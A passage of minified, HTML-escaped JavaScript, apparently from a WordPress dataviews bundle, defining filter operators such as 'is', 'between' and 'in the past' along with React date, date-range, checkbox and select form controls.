f=d[0];if(f===&quot;&#039;&quot;)return{isToken:!1,value:K2e(d)};if(PN[f])return{isToken:!0,value:d};if(f.match(Z2e))throw new RangeError(&quot;Format string contains an unescaped latin alphabet character `&quot;+f+&quot;`&quot;);return{isToken:!1,value:d}});n.localize.preprocessor&amp;&amp;(c=n.localize.preprocessor(l,c));let u={firstWeekContainsDate:i,weekStartsOn:a,locale:n};return c.map(d=&gt;{if(!d.isToken)return d.value;let f=d.value;(!r?.useAdditionalWeekYearTokens&amp;&amp;Fte(f)||!r?.useAdditionalDayOfYearTokens&amp;&amp;Nte(f))&amp;&amp;Dte(f,t,String(e));let m=PN[f[0]];return m(l,f,n.localize,u)}).join(&quot;&quot;)}function K2e(e){let t=e.match(Y2e);return t?t[1].replace(q2e,&quot;&#039;&quot;):e}function Rm(e,t,r){return l2(e,-t,r)}function p2(e,t,r){return c2(e,-t,r)}function Bte(e,t,r){return pte(e,-t,r)}function h2(e,t,r){return hte(e,-t,r)}var _e=s(E(),1),Rr=s(D(),1),zn=s(po(),1);var EN=s(C(),1),Lr={Name:(0,EN.jsx)(&quot;span&quot;,{className:&quot;dataviews-filters__summary-filter-text-name&quot;}),Value:(0,EN.jsx)(&quot;span&quot;,{className:&quot;dataviews-filters__summary-filter-text-value&quot;})};function Mte(e,t){switch(t){case&quot;days&quot;:return Rm(new Date,e);case&quot;weeks&quot;:return Bte(new Date,e);case&quot;months&quot;:return p2(new Date,e);case&quot;years&quot;:return h2(new Date,e);default:return new Date}}var Lte={label:(0,_e.__)(&quot;Is none of&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is none of: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(r=&gt;r.label).join(&quot;, &quot;)),Lr),filter:((e,t,r)=&gt;{if(!r?.length)return!0;let o=t.getValue({item:e});return Array.isArray(o)?!r.some(n=&gt;o.includes(n)):typeof o==&quot;string&quot;?!r.includes(o):!1}),selection:&quot;multi&quot;},Vte=[{name:nr,label:(0,_e.__)(&quot;Includes&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s includes: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(r=&gt;r.label).join(&quot;, &quot;)),Lr),filter(e,t,r){if(!r?.length)return!0;let o=t.getValue({item:e});return Array.isArray(o)?r.some(n=&gt;o.includes(n)):typeof o==&quot;string&quot;?r.includes(o):!1},selection:&quot;multi&quot;},{name:ir,...Lte},{name:mn,label:(0,_e.__)(&quot;Includes all&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s includes all: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(r=&gt;r.label).join(&quot;, &quot;)),Lr),filter(e,t,r){return r?.length?r.every(o=&gt;t.getValue({item:e})?.includes(o)):!0},selection:&quot;multi&quot;},{name:pn,...Lte},{name:Vn,label:(0,_e.__)(&quot;Between (inc)&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s between (inc): &lt;/Name&gt;&lt;Value&gt;%2$s and %3$s&lt;/Value&gt;&quot;),e.name,t[0].label[0],t[0].label[1]),Lr),filter(e,t,r){if(!Array.isArray(r)||r.length!==2||r[0]===void 0||r[1]===void 0)return!0;let o=t.getValue({item:e});return typeof o==&quot;number&quot;||o instanceof Date||typeof o==&quot;string&quot;?o&gt;=r[0]&amp;&amp;o&lt;=r[1]:!1},selection:&quot;custom&quot;},{name:jn,label:(0,_e.__)(&quot;In the past&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is in the past: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,`${t[0].value.value} ${t[0].value.unit}`),Lr),filter(e,t,r){if(r?.value===void 0||r?.unit===void 0)return!0;let o=Mte(r.value,r.unit),n=(0,zn.getDate)(t.getValue({item:e}));return n&gt;=o&amp;&amp;n&lt;=new Date},selection:&quot;custom&quot;},{name:hi,label:(0,_e.__)(&quot;Over&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is over: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,`${t[0].value.value} ${t[0].value.unit}`),Lr),filter(e,t,r){if(r?.value===void 0||r?.unit===void 0)return!0;let o=Mte(r.value,r.unit);return(0,zn.getDate)(t.getValue({item:e}))&lt;o},selection:&quot;custom&quot;},{name:yr,label:(0,_e.__)(&quot;Is&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r===t.getValue({item:e})||r===void 0},selection:&quot;single&quot;},{name:br,label:(0,_e.__)(&quot;Is not&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is not: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r!==t.getValue({item:e})},selection:&quot;single&quot;},{name:hd,label:(0,_e.__)(&quot;Less than&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is less than: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r===void 0?!0:t.getValue({item:e})&lt;r},selection:&quot;single&quot;},{name:gd,label:(0,_e.__)(&quot;Greater than&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is greater than: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r===void 0?!0:t.getValue({item:e})&gt;r},selection:&quot;single&quot;},{name:vd,label:(0,_e.__)(&quot;Less than or equal&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is less than or equal to: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r===void 0?!0:t.getValue({item:e})&lt;=r},selection:&quot;single&quot;},{name:yd,label:(0,_e.__)(&quot;Greater than or equal&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is greater than or equal to: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){return r===void 0?!0:t.getValue({item:e})&gt;=r},selection:&quot;single&quot;},{name:bd,label:(0,_e.__)(&quot;Before&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is before: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r);return(0,zn.getDate)(t.getValue({item:e}))&lt;o},selection:&quot;single&quot;},{name:Sd,label:(0,_e.__)(&quot;After&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is after: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r);return(0,zn.getDate)(t.getValue({item:e}))&gt;o},selection:&quot;single&quot;},{name:_d,label:(0,_e.__)(&quot;Before (inc)&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is on or before: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r);return(0,zn.getDate)(t.getValue({item:e}))&lt;=o},selection:&quot;single&quot;},{name:wd,label:(0,_e.__)(&quot;After (inc)&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is on or after: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r);return(0,zn.getDate)(t.getValue({item:e}))&gt;=o},selection:&quot;single&quot;},{name:rl,label:(0,_e.__)(&quot;Contains&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s contains: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=t.getValue({item:e});return typeof o==&quot;string&quot;&amp;&amp;r&amp;&amp;o.toLowerCase().includes(String(r).toLowerCase())},selection:&quot;single&quot;},{name:ol,label:(0,_e.__)(&quot;Doesn&#039;t contain&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s doesn&#039;t contain: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=t.getValue({item:e});return typeof o==&quot;string&quot;&amp;&amp;r&amp;&amp;!o.toLowerCase().includes(String(r).toLowerCase())},selection:&quot;single&quot;},{name:nl,label:(0,_e.__)(&quot;Starts with&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s starts with: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=t.getValue({item:e});return typeof o==&quot;string&quot;&amp;&amp;r&amp;&amp;o.toLowerCase().startsWith(String(r).toLowerCase())},selection:&quot;single&quot;},{name:xd,label:(0,_e.__)(&quot;On&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r),n=(0,zn.getDate)(t.getValue({item:e}));return o.getTime()===n.getTime()},selection:&quot;single&quot;},{name:Cd,label:(0,_e.__)(&quot;Not on&quot;),filterText:(e,t)=&gt;(0,Rr.createInterpolateElement)((0,_e.sprintf)((0,_e.__)(&quot;&lt;Name&gt;%1$s is not: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),Lr),filter(e,t,r){if(r===void 0)return!0;let o=(0,zn.getDate)(r),n=(0,zn.getDate)(t.getValue({item:e}));return o.getTime()!==n.getTime()},selection:&quot;single&quot;}],jte=e=&gt;Vte.find(t=&gt;t.name===e),zte=()=&gt;Vte.map(e=&gt;e.name);var Ute=s(A(),1),Hte=s(D(),1);function Lt(e,t){let r;return e?.required&amp;&amp;t?.required?r=t?.required?.message?t.required:void 0:e?.pattern&amp;&amp;t?.pattern?r=t.pattern:e?.min&amp;&amp;t?.min?r=t.min:e?.max&amp;&amp;t?.max?r=t.max:e?.minLength&amp;&amp;t?.minLength?r=t.minLength:e?.maxLength&amp;&amp;t?.maxLength?r=t.maxLength:e?.elements&amp;&amp;t?.elements?r=t.elements:t?.custom&amp;&amp;(r=t.custom),r}var Gte=s(C(),1),{ValidatedCheckboxControl:X2e}=Wt(Ute.privateApis);function Wte({field:e,onChange:t,data:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{getValue:a,setValue:l,label:c,description:u,isValid:d}=e,f=(0,Hte.useCallback)(()=&gt;{t(l({item:r,value:!a({item:r})}))},[r,a,t,l]);return(0,Gte.jsx)(X2e,{required:!!e.isValid?.required,markWhenOptional:n,customValidity:Lt(d,i),hidden:o,label:c,help:u,checked:a({item:r}),onChange:f})}var g2=s(A(),1),Yte=s(D(),1);var RN=s(C(),1),{ValidatedComboboxControl:Q2e}=Wt(g2.privateApis);function v2({data:e,field:t,onChange:r,hideLabelFromVision:o,validity:n}){let{label:i,description:a,placeholder:l,getValue:c,setValue:u,isValid:d}=t,f=c({item:e})??&quot;&quot;,m=(0,Yte.useCallback)(v=&gt;r(u({item:e,value:v??&quot;&quot;})),[e,r,u]),{elements:h,isLoading:g}=gi({elements:t.elements,getElements:t.getElements});return g?(0,RN.jsx)(g2.Spinner,{}):(0,RN.jsx)(Q2e,{required:!!t.isValid?.required,customValidity:Lt(d,n),label:i,value:f,help:a,placeholder:l,options:h,onChange:m,hideLabelFromVision:o,allowReset:!0,expandOnFocus:!0})}var _2=s(A(),1),ks=s(D(),1),S2=s(E(),1),Hi=s(po(),1);var Hg=s(A(),1),AN=s(D(),1),il=s(E(),1);var Ug=s(C(),1),J2e={[jn]:[{value:&quot;days&quot;,label:(0,il.__)(&quot;Days&quot;)},{value:&quot;weeks&quot;,label:(0,il.__)(&quot;Weeks&quot;)},{value:&quot;months&quot;,label:(0,il.__)(&quot;Months&quot;)},{value:&quot;years&quot;,label:(0,il.__)(&quot;Years&quot;)}],[hi]:[{value:&quot;days&quot;,label:(0,il.__)(&quot;Days ago&quot;)},{value:&quot;weeks&quot;,label:(0,il.__)(&quot;Weeks ago&quot;)},{value:&quot;months&quot;,label:(0,il.__)(&quot;Months ago&quot;)},{value:&quot;years&quot;,label:(0,il.__)(&quot;Years ago&quot;)}]};function y2({className:e,data:t,field:r,onChange:o,hideLabelFromVision:n,operator:i}){let a=J2e[i===jn?&quot;inThePast&quot;:&quot;over&quot;],{id:l,label:c,getValue:u,setValue:d}=r,f=u({item:t}),{value:m=&quot;&quot;,unit:h=a[0].value}=f&amp;&amp;typeof f==&quot;object&quot;?f:{},g=(0,AN.useCallback)(y=&gt;o(d({item:t,value:{value:Number(y),unit:h}})),[o,d,t,h]),v=(0,AN.useCallback)(y=&gt;o(d({item:t,value:{value:m,unit:y}})),[o,d,t,m]);return(0,Ug.jsx)(Hg.BaseControl,{id:l,className:re(e,&quot;dataviews-controls__relative-date&quot;),label:c,hideLabelFromVision:n,children:(0,Ug.jsxs)(it,{direction:&quot;row&quot;,gap:&quot;sm&quot;,children:[(0,Ug.jsx)(Hg.__experimentalNumberControl,{__next40pxDefaultSize:!0,className:&quot;dataviews-controls__relative-date-number&quot;,spinControls:&quot;none&quot;,min:1,step:1,value:m,onChange:g}),(0,Ug.jsx)(Hg.SelectControl,{className:&quot;dataviews-controls__relative-date-unit&quot;,__next40pxDefaultSize:!0,label:(0,il.__)(&quot;Unit&quot;),value:h,options:a,onChange:v,hideLabelFromVision:!0})]})})}var qte=s(po(),1);function b2(e){if(!e)return null;let t=(0,qte.getDate)(e);return t&amp;&amp;Lg(t)?t:null}var Pd=s(C(),1),{DateCalendar:$2e,ValidatedInputControl:eEe}=Wt(_2.privateApis),tEe=e=&gt;e?(0,Hi.dateI18n)(&quot;Y-m-d\\TH:i&quot;,(0,Hi.getDate)(e)):&quot;&quot;;function rEe({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{id:a,label:l,description:c,setValue:u,getValue:d,isValid:f}=t,m=d({item:e}),h=typeof m==&quot;string&quot;?m:void 0,[g,v]=(0,ks.useState)(()=&gt;b2(h)||new Date),y=(0,ks.useRef)(null),b=(0,ks.useRef)(void 0),_=(0,ks.useRef)(null),S=(0,ks.useCallback)(L=&gt;r(u({item:e,value:L})),[e,r,u]);(0,ks.useEffect)(()=&gt;()=&gt;{b.current&amp;&amp;clearTimeout(b.current)},[]);let x=(0,ks.useCallback)(L=&gt;{let M;if(L){let k=(0,Hi.dateI18n)(&quot;Y-m-d&quot;,L),I;h?I=(0,Hi.dateI18n)(&quot;H:i&quot;,(0,Hi.getDate)(h)):I=(0,Hi.dateI18n)(&quot;H:i&quot;,L),M=(0,Hi.getDate)(`${k}T${I}`).toISOString(),S(M),b.current&amp;&amp;clearTimeout(b.current)}else S(void 0);_.current=y.current&amp;&amp;y.current.ownerDocument.activeElement,b.current=setTimeout(()=&gt;{y.current&amp;&amp;(y.current.focus(),y.current.blur(),S(M),_.current&amp;&amp;_.current instanceof HTMLElement&amp;&amp;_.current.focus())},0)},[S,h]),T=(0,ks.useCallback)(L=&gt;{if(L){let M=(0,Hi.getDate)(L);S(M.toISOString());let k=b2(M.toISOString());k&amp;&amp;v(k)}else S(void 0)},[S]),{format:R}=t,F=R.weekStartsOn??(0,Hi.getSettings)().l10n.startOfWeek,{timezone:{string:B}}=(0,Hi.getSettings)(),z=l;return f?.required&amp;&amp;!n&amp;&amp;!o?z=`${l} (${(0,S2.__)(&quot;Required&quot;)})`:!f?.required&amp;&amp;n&amp;&amp;!o&amp;&amp;(z=`${l} (${(0,S2.__)(&quot;Optional&quot;)})`),(0,Pd.jsx)(_2.BaseControl,{id:a,label:z,help:c,hideLabelFromVision:o,children:(0,Pd.jsxs)(it,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,Pd.jsx)($2e,{style:{width:&quot;100%&quot;},selected:h&amp;&amp;b2(h)||void 0,onSelect:x,month:g,onMonthChange:v,timeZone:B||void 0,weekStartsOn:F}),(0,Pd.jsx)(eEe,{ref:y,__next40pxDefaultSize:!0,required:!!f?.required,customValidity:Lt(f,i),type:&quot;datetime-local&quot;,label:(0,S2.__)(&quot;Date time&quot;),hideLabelFromVision:!0,value:tEe(h),onChange:T})]})})}function Zte({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,operator:i,validity:a}){return i===jn||i===hi?(0,Pd.jsx)(y2,{className:&quot;dataviews-controls__datetime&quot;,data:e,field:t,onChange:r,hideLabelFromVision:o,operator:i}):(0,Pd.jsx)(rEe,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:a})}var gn=s(A(),1),Rt=s(D(),1),co=s(E(),1),hn=s(po(),1);var Vt=s(C(),1),{DateCalendar:oEe,DateRangeCalendar:nEe}=Wt(gn.privateApis),iEe=[{id:&quot;today&quot;,label:(0,co.__)(&quot;Today&quot;),getValue:()=&gt;(0,hn.getDate)(null)},{id:&quot;yesterday&quot;,label:(0,co.__)(&quot;Yesterday&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return Rm(e,1)}},{id:&quot;past-week&quot;,label:(0,co.__)(&quot;Past week&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return Rm(e,7)}},{id:&quot;past-month&quot;,label:(0,co.__)(&quot;Past month&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return p2(e,1)}}],sEe=[{id:&quot;last-7-days&quot;,label:(0,co.__)(&quot;Last 7 days&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return[Rm(e,7),e]}},{id:&quot;last-30-days&quot;,label:(0,co.__)(&quot;Last 30 days&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return[Rm(e,30),e]}},{id:&quot;month-to-date&quot;,label:(0,co.__)(&quot;Month to date&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return[vte(e),e]}},{id:&quot;last-year&quot;,label:(0,co.__)(&quot;Last year&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return[h2(e,1),e]}},{id:&quot;year-to-date&quot;,label:(0,co.__)(&quot;Year to date&quot;),getValue:()=&gt;{let e=(0,hn.getDate)(null);return[d2(e),e]}}],Gg=e=&gt;{if(!e)return null;let t=(0,hn.getDate)(e);return t&amp;&amp;Lg(t)?t:null},ON=e=&gt;e?typeof e==&quot;string&quot;?e:kN(e,&quot;yyyy-MM-dd&quot;):&quot;&quot;;function Kte({field:e,validity:t,inputRefs:r,isTouched:o,setIsTouched:n,children:i}){let{isValid:a}=e,[l,c]=(0,Rt.useState)(void 0),u=(0,Rt.useCallback)(()=&gt;{let f=Array.isArray(r)?r:[r];for(let m of f){let h=m.current;if(h&amp;&amp;!h.validity.valid){c({type:&quot;invalid&quot;,message:h.validationMessage});return}}c(void 0)},[r]);return(0,Rt.useEffect)(()=&gt;{let f=Array.isArray(r)?r:[r],m=t?Lt(a,t):void 0;for(let h of f){let g=h.current;g&amp;&amp;g.setCustomValidity(m?.type===&quot;invalid&quot;&amp;&amp;m.message?m.message:&quot;&quot;)}},[r,a,t]),(0,Rt.useEffect)(()=&gt;{let f=Array.isArray(r)?r:[r],m=h=&gt;{h.preventDefault(),n(!0)};for(let h of f)h.current?.addEventListener(&quot;invalid&quot;,m);return()=&gt;{for(let h of f)h.current?.removeEventListener(&quot;invalid&quot;,m)}},[r,n]),(0,Rt.useEffect)(()=&gt;{if(!o)return;let f=t?Lt(a,t):void 0;f?c(f):u()},[o,a,t,u]),(0,Vt.jsxs)(&quot;div&quot;,{onBlur:f=&gt;{o||(!f.relatedTarget||!f.currentTarget.contains(f.relatedTarget))&amp;&amp;n(!0)},children:[i,(0,Vt.jsx)(&quot;div&quot;,{&quot;aria-live&quot;:&quot;polite&quot;,children:l&amp;&amp;(0,Vt.jsxs)(&quot;p&quot;,{className:re(&quot;components-validated-control__indicator&quot;,l.type===&quot;invalid&quot;?&quot;is-invalid&quot;:void 0),children:[(0,Vt.jsx)(gn.Icon,{className:&quot;components-validated-control__indicator-icon&quot;,icon:Cl,size:16,fill:&quot;currentColor&quot;}),l.message]})})]})}function aEe({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{id:a,label:l,setValue:c,getValue:u,isValid:d,format:f}=t,[m,h]=(0,Rt.useState)(null),g=f.weekStartsOn??(0,hn.getSettings)().l10n.startOfWeek,v=u({item:e}),y=typeof v==&quot;string&quot;?v:void 0,[b,_]=(0,Rt.useState)(()=&gt;Gg(y)||new Date),[S,x]=(0,Rt.useState)(!1),T=(0,Rt.useRef)(null),R=(0,Rt.useCallback)(k=&gt;r(c({item:e,value:k})),[e,r,c]),F=(0,Rt.useCallback)(k=&gt;{let I=k?kN(k,&quot;yyyy-MM-dd&quot;):void 0;R(I),h(null),x(!0)},[R]),B=(0,Rt.useCallback)(k=&gt;{let I=k.getValue(),U=ON(I);_(I),R(U),h(k.id),x(!0)},[R]),z=(0,Rt.useCallback)(k=&gt;{if(R(k),k){let I=Gg(k);I&amp;&amp;_(I)}h(null),x(!0)},[R]),{timezone:{string:L}}=(0,hn.getSettings)(),M=l;return d?.required&amp;&amp;!n?M=`${l} (${(0,co.__)(&quot;Required&quot;)})`:!d?.required&amp;&amp;n&amp;&amp;(M=`${l} (${(0,co.__)(&quot;Optional&quot;)})`),(0,Vt.jsx)(Kte,{field:t,validity:i,inputRefs:T,isTouched:S,setIsTouched:x,children:(0,Vt.jsx)(gn.BaseControl,{id:a,className:&quot;dataviews-controls__date&quot;,label:M,hideLabelFromVision:o,children:(0,Vt.jsxs)(it,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,Vt.jsxs)(it,{direction:&quot;row&quot;,gap:&quot;sm&quot;,wrap:&quot;wrap&quot;,justify:&quot;flex-start&quot;,children:[iEe.map(k=&gt;{let I=m===k.id;return(0,Vt.jsx)(gn.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:I,size:&quot;small&quot;,onClick:()=&gt;B(k),children:k.label},k.id)}),(0,Vt.jsx)(gn.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:!m,size:&quot;small&quot;,disabled:!!m,accessibleWhenDisabled:!1,children:(0,co.__)(&quot;Custom&quot;)})]}),(0,Vt.jsx)(gn.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:T,type:&quot;date&quot;,label:(0,co.__)(&quot;Date&quot;),hideLabelFromVision:!0,value:y,onChange:z,required:!!t.isValid?.required}),(0,Vt.jsx)(oEe,{style:{width:&quot;100%&quot;},selected:y&amp;&amp;Gg(y)||void 0,onSelect:F,month:b,onMonthChange:_,timeZone:L||void 0,weekStartsOn:g})]})})})}function lEe({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{id:a,label:l,getValue:c,setValue:u,format:d}=t,f,m=c({item:e});Array.isArray(m)&amp;&amp;m.length===2&amp;&amp;m.every(U=&gt;typeof U==&quot;string&quot;)&amp;&amp;(f=m);let h=d.weekStartsOn??(0,hn.getSettings)().l10n.startOfWeek,g=(0,Rt.useCallback)(U=&gt;{r(u({item:e,value:U}))},[e,r,u]),[v,y]=(0,Rt.useState)(null),b=(0,Rt.useMemo)(()=&gt;{if(!f)return{from:void 0,to:void 0};let[U,G]=f;return{from:Gg(U)||void 0,to:Gg(G)||void 0}},[f]),[_,S]=(0,Rt.useState)(()=&gt;b.from||new Date),[x,T]=(0,Rt.useState)(!1),R=(0,Rt.useRef)(null),F=(0,Rt.useRef)(null),B=(0,Rt.useCallback)((U,G)=&gt;{U&amp;&amp;G?g([ON(U),ON(G)]):!U&amp;&amp;!G&amp;&amp;g(void 0)},[g]),z=(0,Rt.useCallback)(U=&gt;{B(U?.from,U?.to),y(null),T(!0)},[B]),L=(0,Rt.useCallback)(U=&gt;{let[G,Y]=U.getValue();S(G),B(G,Y),y(U.id),T(!0)},[B]),M=(0,Rt.useCallback)((U,G)=&gt;{let[Y,Z]=f||[void 0,void 0];if(B(U===&quot;from&quot;?G:Y,U===&quot;to&quot;?G:Z),G){let H=Gg(G);H&amp;&amp;S(H)}y(null),T(!0)},[f,B]),{timezone:k}=(0,hn.getSettings)(),I=l;return t.isValid?.required&amp;&amp;!n?I=`${l} (${(0,co.__)(&quot;Required&quot;)})`:!t.isValid?.required&amp;&amp;n&amp;&amp;(I=`${l} (${(0,co.__)(&quot;Optional&quot;)})`),(0,Vt.jsx)(Kte,{field:t,validity:i,inputRefs:[R,F],isTouched:x,setIsTouched:T,children:(0,Vt.jsx)(gn.BaseControl,{id:a,className:&quot;dataviews-controls__date&quot;,label:I,hideLabelFromVision:o,children:(0,Vt.jsxs)(it,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,Vt.jsxs)(it,{direction:&quot;row&quot;,gap:&quot;sm&quot;,wrap:&quot;wrap&quot;,justify:&quot;flex-start&quot;,children:[sEe.map(U=&gt;{let G=v===U.id;return(0,Vt.jsx)(gn.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:G,size:&quot;small&quot;,onClick:()=&gt;L(U),children:U.label},U.id)}),(0,Vt.jsx)(gn.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:!v,size:&quot;small&quot;,accessibleWhenDisabled:!1,disabled:!!v,children:(0,co.__)(&quot;Custom&quot;)})]}),(0,Vt.jsxs)(it,{direction:&quot;row&quot;,gap:&quot;sm&quot;,justify:&quot;space-between&quot;,className:&quot;dataviews-controls__date-range-inputs&quot;,children:[(0,Vt.jsx)(gn.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:R,type:&quot;date&quot;,label:(0,co.__)(&quot;From&quot;),hideLabelFromVision:!0,value:f?.[0],onChange:U=&gt;M(&quot;from&quot;,U),required:!!t.isValid?.required}),(0,Vt.jsx)(gn.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:F,type:&quot;date&quot;,label:(0,co.__)(&quot;To&quot;),hideLabelFromVision:!0,value:f?.[1],onChange:U=&gt;M(&quot;to&quot;,U),required:!!t.isValid?.required})]}),(0,Vt.jsx)(nEe,{style:{width:&quot;100%&quot;},selected:b,onSelect:z,month:_,onMonthChange:S,timeZone:k.string||void 0,weekStartsOn:h})]})})})}function Xte({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,operator:i,validity:a}){return i===jn||i===hi?(0,Vt.jsx)(y2,{className:&quot;dataviews-controls__date&quot;,data:e,field:t,onChange:r,hideLabelFromVision:o,operator:i}):i===Vn?(0,Vt.jsx)(lEe,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:a}):(0,Vt.jsx)(aEe,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:a})}var w2=s(A(),1),Qte=s(D(),1);var IN=s(C(),1),{ValidatedSelectControl:cEe}=Wt(w2.privateApis);function x2({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{type:a,label:l,description:c,getValue:u,setValue:d,isValid:f}=t,m=a===&quot;array&quot;,h=u({item:e})??(m?[]:&quot;&quot;),g=(0,Qte.useCallback)(b=&gt;r(d({item:e,value:b})),[e,r,d]),{elements:v,isLoading:y}=gi({elements:t.elements,getElements:t.getElements});return 